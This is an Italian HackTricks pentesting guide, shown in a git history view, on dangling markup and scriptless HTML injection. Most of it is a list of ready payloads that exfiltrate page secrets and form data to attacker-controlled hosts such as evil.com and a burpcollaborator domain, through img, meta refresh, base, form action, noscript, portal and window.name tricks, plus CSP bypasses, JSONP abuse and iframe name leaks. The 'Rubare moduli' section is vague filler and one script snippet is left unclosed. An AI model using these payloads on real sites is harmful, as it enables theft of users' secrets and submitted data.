hacktricks/pentesting-web/dangling-markup-html-scriptless-injection/README.md

268 lines
15 KiB
Markdown
Raw Normal View History

2024-02-10 13:03:23 +00:00
# Dangling Markup - Iniezione HTML senza script
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2024-01-02 18:28:27 +00:00
2024-02-10 13:03:23 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 13:03:23 +00:00
## Riassunto
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Questa tecnica può essere utilizzata per estrarre informazioni da un utente quando viene trovata un'**iniezione HTML**. Questo è molto utile se **non riesci a trovare un modo per sfruttare un** [**XSS** ](../xss-cross-site-scripting/)ma puoi **iniettare alcuni tag HTML**.\
È anche utile se qualche **segreto è salvato in chiaro** nell'HTML e vuoi **esfiltrarlo** dal client, o se vuoi ingannare l'esecuzione di uno script.
2024-02-10 13:03:23 +00:00
Diverse tecniche commentate qui possono essere utilizzate per aggirare alcune [**Content Security Policy**](../content-security-policy-csp-bypass/) esfiltrando informazioni in modi inaspettati (tag html, CSS, http-meta tags, forms, base...).
2024-02-10 13:03:23 +00:00
## Principali Applicazioni
2024-02-10 13:03:23 +00:00
### Rubare segreti in chiaro
2024-02-10 13:03:23 +00:00
Se inietti `<img src='http://evil.com/log.cgi?` quando la pagina viene caricata, la vittima ti invierà tutto il codice tra il tag `img` iniettato e la successiva virgoletta all'interno del codice. Se un segreto è in qualche modo presente in quel frammento, lo ruberai (puoi fare la stessa cosa usando un doppio apice, guarda quale potrebbe essere più interessante da usare).
2024-02-10 13:03:23 +00:00
Se il tag `img` è vietato (ad esempio a causa di CSP) puoi anche usare `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
2024-02-05 20:00:40 +00:00
```html
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
```
2024-02-10 13:03:23 +00:00
Nota che **Chrome blocca gli URL HTTP** con "<" o "\n" al loro interno, quindi potresti provare altri schemi di protocollo come "ftp".
2024-02-10 13:03:23 +00:00
Puoi anche sfruttare l'importazione CSS `@import` (invierà tutto il codice fino a quando non trova un ";")
2024-02-05 20:00:40 +00:00
```html
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
```
2024-02-10 13:03:23 +00:00
Potresti anche utilizzare **`<table`**:
2024-02-05 20:00:40 +00:00
```html
<table background='//your-collaborator-id.burpcollaborator.net?'
```
2024-02-10 13:03:23 +00:00
È anche possibile inserire un tag `<base`. Tutte le informazioni verranno inviate fino alla chiusura delle virgolette, ma richiede un'interazione dell'utente (l'utente deve fare clic su un link, perché il tag base avrà cambiato il dominio puntato dal link):
2024-02-05 20:00:40 +00:00
```html
<base target=' <--- Injected
steal me'<b>test</b>
```
2024-02-10 13:03:23 +00:00
### Rubare moduli
In alcuni casi, è possibile sfruttare una vulnerabilità di iniezione di markup HTML senza script per rubare i dati inseriti in un modulo da parte degli utenti. Questa tecnica sfrutta il fatto che il markup HTML può essere interpretato anche se non è all'interno di un tag valido.
Per eseguire questo attacco, è necessario individuare un punto vulnerabile nel sito web in cui è possibile inserire del markup HTML non valido. Questo può essere fatto ad esempio attraverso campi di input non adeguatamente sanificati o filtri di input insufficienti.
2024-02-10 13:03:23 +00:00
Una volta individuato il punto vulnerabile, è possibile inserire del markup HTML non valido che includa un tag di chiusura per il tag del modulo desiderato. In questo modo, il browser interpreterà tutto il markup HTML successivo come parte del modulo.
2024-02-10 13:03:23 +00:00
Quando un utente inserisce i propri dati nel modulo e li invia, il browser invierà anche i dati al server. Tuttavia, poiché il markup HTML non valido è stato inserito, il browser invierà anche i dati al punto vulnerabile. In questo modo, è possibile rubare i dati inseriti dagli utenti.
Per prevenire questo tipo di attacco, è fondamentale implementare adeguati controlli di validazione e sanitizzazione dei dati di input. Inoltre, è consigliabile utilizzare librerie o framework che offrano funzionalità di protezione contro attacchi di iniezione di markup HTML.
2024-02-05 20:00:40 +00:00
```html
<base href='http://evil.com/'>
```
2024-02-10 13:03:23 +00:00
Quindi, i moduli che inviano dati al percorso (come `<form action='update_profile.php'>`) invieranno i dati al dominio malevolo.
2024-02-10 13:03:23 +00:00
### Rubare moduli 2
2024-02-10 13:03:23 +00:00
Imposta un'intestazione del modulo: `<form action='http://evil.com/log_steal'>` questo sovrascriverà l'intestazione del modulo successivo e tutti i dati del modulo saranno inviati all'attaccante.
2024-02-10 13:03:23 +00:00
### Rubare moduli 3
2024-02-10 13:03:23 +00:00
Il pulsante può cambiare l'URL a cui verranno inviate le informazioni del modulo con l'attributo "formaction":
2024-02-05 20:00:40 +00:00
```html
<button name=xss type=submit formaction='https://google.com'>I get consumed!
```
2024-02-10 13:03:23 +00:00
Un attaccante può utilizzare questo per rubare le informazioni.
2024-02-10 13:03:23 +00:00
### Rubare segreti in testo normale 2
2024-02-10 13:03:23 +00:00
Utilizzando l'ultima tecnica menzionata per rubare i form (iniettando un nuovo header del form) è possibile iniettare un nuovo campo di input:
2024-02-05 20:00:40 +00:00
```html
<input type='hidden' name='review_body' value="
```
2024-02-10 13:03:23 +00:00
e questo campo di input conterrà tutto il contenuto tra le sue virgolette doppie e le virgolette doppie successive nell'HTML. Questo attacco combina "_**Rubare segreti in testo chiaro**_" con "_**Rubare form2**_".
2024-02-10 13:03:23 +00:00
Puoi fare la stessa cosa iniettando un modulo e un tag `<option>`. Tutti i dati fino a quando viene trovato un `</option>` chiuso saranno inviati:
2024-02-05 20:00:40 +00:00
```html
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
```
2024-02-10 13:03:23 +00:00
### Iniezione di parametri del modulo
2024-02-10 13:03:23 +00:00
È possibile modificare il percorso di un modulo e inserire nuovi valori in modo che venga eseguita un'azione inaspettata:
2024-02-05 20:00:40 +00:00
```html
<form action='/change_settings.php'>
2024-02-10 13:03:23 +00:00
<input type='hidden' name='invite_user'
value='fredmbogo'> ← Injected lines
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value=""> ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
```
2024-02-10 13:03:23 +00:00
### Rubare segreti in testo normale tramite noscript
2024-02-10 13:03:23 +00:00
`<noscript></noscript>` è un tag il cui contenuto verrà interpretato se il browser non supporta JavaScript (puoi abilitare/disabilitare JavaScript in Chrome su [chrome://settings/content/javascript](chrome://settings/content/javascript)).
2024-02-10 13:03:23 +00:00
Un modo per esfiltrare il contenuto della pagina web dal punto di iniezione fino alla fine verso un sito controllato dall'attaccante sarà iniettare questo:
2024-02-05 20:00:40 +00:00
```html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
```
2024-02-10 13:03:23 +00:00
### Bypassare CSP con interazione dell'utente
2024-02-10 13:03:23 +00:00
Da questa [ricerca di portswiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) è possibile apprendere che anche negli ambienti **più restrittivi CSP** è ancora possibile **esfiltrare dati** con un po' di **interazione dell'utente**. In questa occasione useremo il payload:
2024-02-05 20:00:40 +00:00
```html
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
```
2024-02-10 13:03:23 +00:00
Nota che chiederai alla **vittima** di **cliccare su un link** che lo **reindirizzerà** a un **payload** controllato da te. Nota anche che l'attributo **`target`** all'interno del tag **`base`** conterrà **contenuto HTML** fino al prossimo singolo apice.\
Ciò farà sì che il **valore** di **`window.name`** quando il link viene cliccato sarà tutto quel **contenuto HTML**. Pertanto, poiché **controlli la pagina** a cui la vittima accede cliccando sul link, puoi accedere a quel **`window.name`** ed **esfiltrare** quei dati:
2024-02-05 20:00:40 +00:00
```html
<script>
if(window.name) {
2024-02-10 13:03:23 +00:00
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
```
2024-02-10 13:03:23 +00:00
### Flusso di script fuorviante 1 - Attacco al namespace HTML
2024-02-10 13:03:23 +00:00
Inserisci un nuovo tag con un id all'interno dell'HTML che sovrascriverà il successivo e con un valore che influenzerà il flusso di uno script. In questo esempio stai selezionando con chi verranno condivise le informazioni:
2024-02-05 20:00:40 +00:00
```html
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
...
Share this status update with: ← Legitimate optional element of a dialog
<input id='share_with' value=''>
...
function submit_status_update() {
2024-02-10 13:03:23 +00:00
...
request.share_with = document.getElementById('share_with').value;
...
}
```
2024-02-10 13:03:23 +00:00
### Flusso di script fuorviante 2 - Attacco allo spazio dei nomi dello script
2024-02-10 13:03:23 +00:00
Crea variabili all'interno dello spazio dei nomi javascript inserendo tag HTML. Successivamente, questa variabile influenzerà il flusso dell'applicazione:
2024-02-05 20:00:40 +00:00
```html
<img id='is_public'> ← Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
2024-02-10 13:03:23 +00:00
...
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}
function submit_new_acls() {
2024-02-10 13:03:23 +00:00
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
}
```
2024-02-10 13:03:23 +00:00
### Abuso di JSONP
2024-02-10 13:03:23 +00:00
Se trovi un'interfaccia JSONP potresti essere in grado di chiamare una funzione arbitraria con dati arbitrari:
2024-02-05 20:00:40 +00:00
```html
<script src='/editor/sharing.js'>: Legitimate script
2024-02-10 13:03:23 +00:00
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: Injected JSONP call
2024-02-10 13:03:23 +00:00
set_sharing({ ... })
```
2024-02-10 13:03:23 +00:00
Oppure puoi provare ad eseguire del codice JavaScript:
2024-02-05 20:00:40 +00:00
```html
<script src='/search?q=a&call=alert(1)'></script>
```
2024-02-10 13:03:23 +00:00
### Abuso di Iframe
2024-02-10 13:03:23 +00:00
Un documento figlio ha la capacità di visualizzare e modificare la proprietà `location` del suo genitore, anche in situazioni di cross-origin. Ciò consente l'incorporazione di uno script all'interno di un **iframe** che può reindirizzare il client a una pagina arbitraria:
2024-02-05 20:00:40 +00:00
```html
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
```
2024-02-10 13:03:23 +00:00
Questo può essere mitigato con qualcosa del genere: `sandbox=' allow-scripts allow-top-navigation'`
2024-02-10 13:03:23 +00:00
Un iframe può anche essere utilizzato per rivelare informazioni sensibili da una pagina diversa **utilizzando l'attributo name dell'iframe**. Questo perché è possibile creare un iframe che si inframezza da solo sfruttando l'iniezione HTML che fa apparire le **informazioni sensibili all'interno dell'attributo name dell'iframe** e quindi accedere a quel nome dall'iframe iniziale e rivelarlo.
2022-07-04 10:37:21 +00:00
```html
<script>
2024-02-10 13:03:23 +00:00
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
2022-07-04 10:37:21 +00:00
</script>
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
```
2024-02-10 13:03:23 +00:00
Per ulteriori informazioni, consulta [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
2022-07-04 10:37:21 +00:00
2024-02-10 13:03:23 +00:00
### \<meta abuso
2024-02-10 13:03:23 +00:00
Puoi utilizzare **`meta http-equiv`** per eseguire **diverse azioni** come impostare un Cookie: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` o eseguire un reindirizzamento (in questo caso, dopo 5 secondi): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
2024-02-10 13:03:23 +00:00
Questo può essere **evitato** con una **CSP** relativa a **http-equiv** (`Content-Security-Policy: default-src 'self';`, o `Content-Security-Policy: http-equiv 'self';`)
2024-02-10 13:03:23 +00:00
### Nuovo tag HTML \<portal
2024-02-10 13:03:23 +00:00
Puoi trovare una ricerca molto **interessante** sulle vulnerabilità sfruttabili del tag \<portal [qui](https://research.securitum.com/security-analysis-of-portal-element/).\
Al momento della stesura di questo testo, è necessario abilitare il tag portal su Chrome in `chrome://flags/#enable-portals` o non funzionerà.
2024-02-05 20:00:40 +00:00
```html
<portal src='https://attacker-server?
```
2024-02-10 13:03:23 +00:00
### Falle HTML
2024-02-10 13:03:23 +00:00
Non tutti i modi per rivelare la connettività in HTML saranno utili per il Dangling Markup, ma a volte potrebbero essere d'aiuto. Controllali qui: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
## SS-Leaks
2024-02-10 13:03:23 +00:00
Questo è un **mix** tra **dangling markup e XS-Leaks**. Da un lato, la vulnerabilità consente di **iniettare HTML** (ma non JS) in una pagina della **stessa origine** di quella che attaccheremo. Dall'altro lato, non attaccheremo direttamente la pagina in cui possiamo iniettare HTML, ma **un'altra pagina**.
{% content-ref url="ss-leaks.md" %}
[ss-leaks.md](ss-leaks.md)
{% endcontent-ref %}
## XS-Search/XS-Leaks
2022-04-05 22:03:49 +00:00
2024-02-10 13:03:23 +00:00
XS-Search è orientato a **esfiltrare informazioni cross-origin** sfruttando **attacchi a canali secondari**. Pertanto, è una tecnica diversa dal Dangling Markup, tuttavia, alcune delle tecniche sfruttano l'inclusione di tag HTML (con e senza esecuzione di JS), come l'**iniezione di CSS** o il **caricamento pigro delle immagini**.
2022-04-05 22:03:49 +00:00
{% content-ref url="../xs-search.md" %}
[xs-search.md](../xs-search.md)
2022-04-05 22:03:49 +00:00
{% endcontent-ref %}
2024-02-10 13:03:23 +00:00
## Elenco di rilevamento Brute-Force
2021-06-27 21:56:13 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
2021-06-27 21:56:13 +00:00
2024-02-10 13:03:23 +00:00
## Riferimenti
2024-02-05 20:00:40 +00:00
* [https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057](https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057)
* [http://lcamtuf.coredump.cx/postxss/](http://lcamtuf.coredump.cx/postxss/)
* [http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/](http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/)
* [https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2024-01-02 18:28:27 +00:00
2024-02-10 13:03:23 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) **e** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>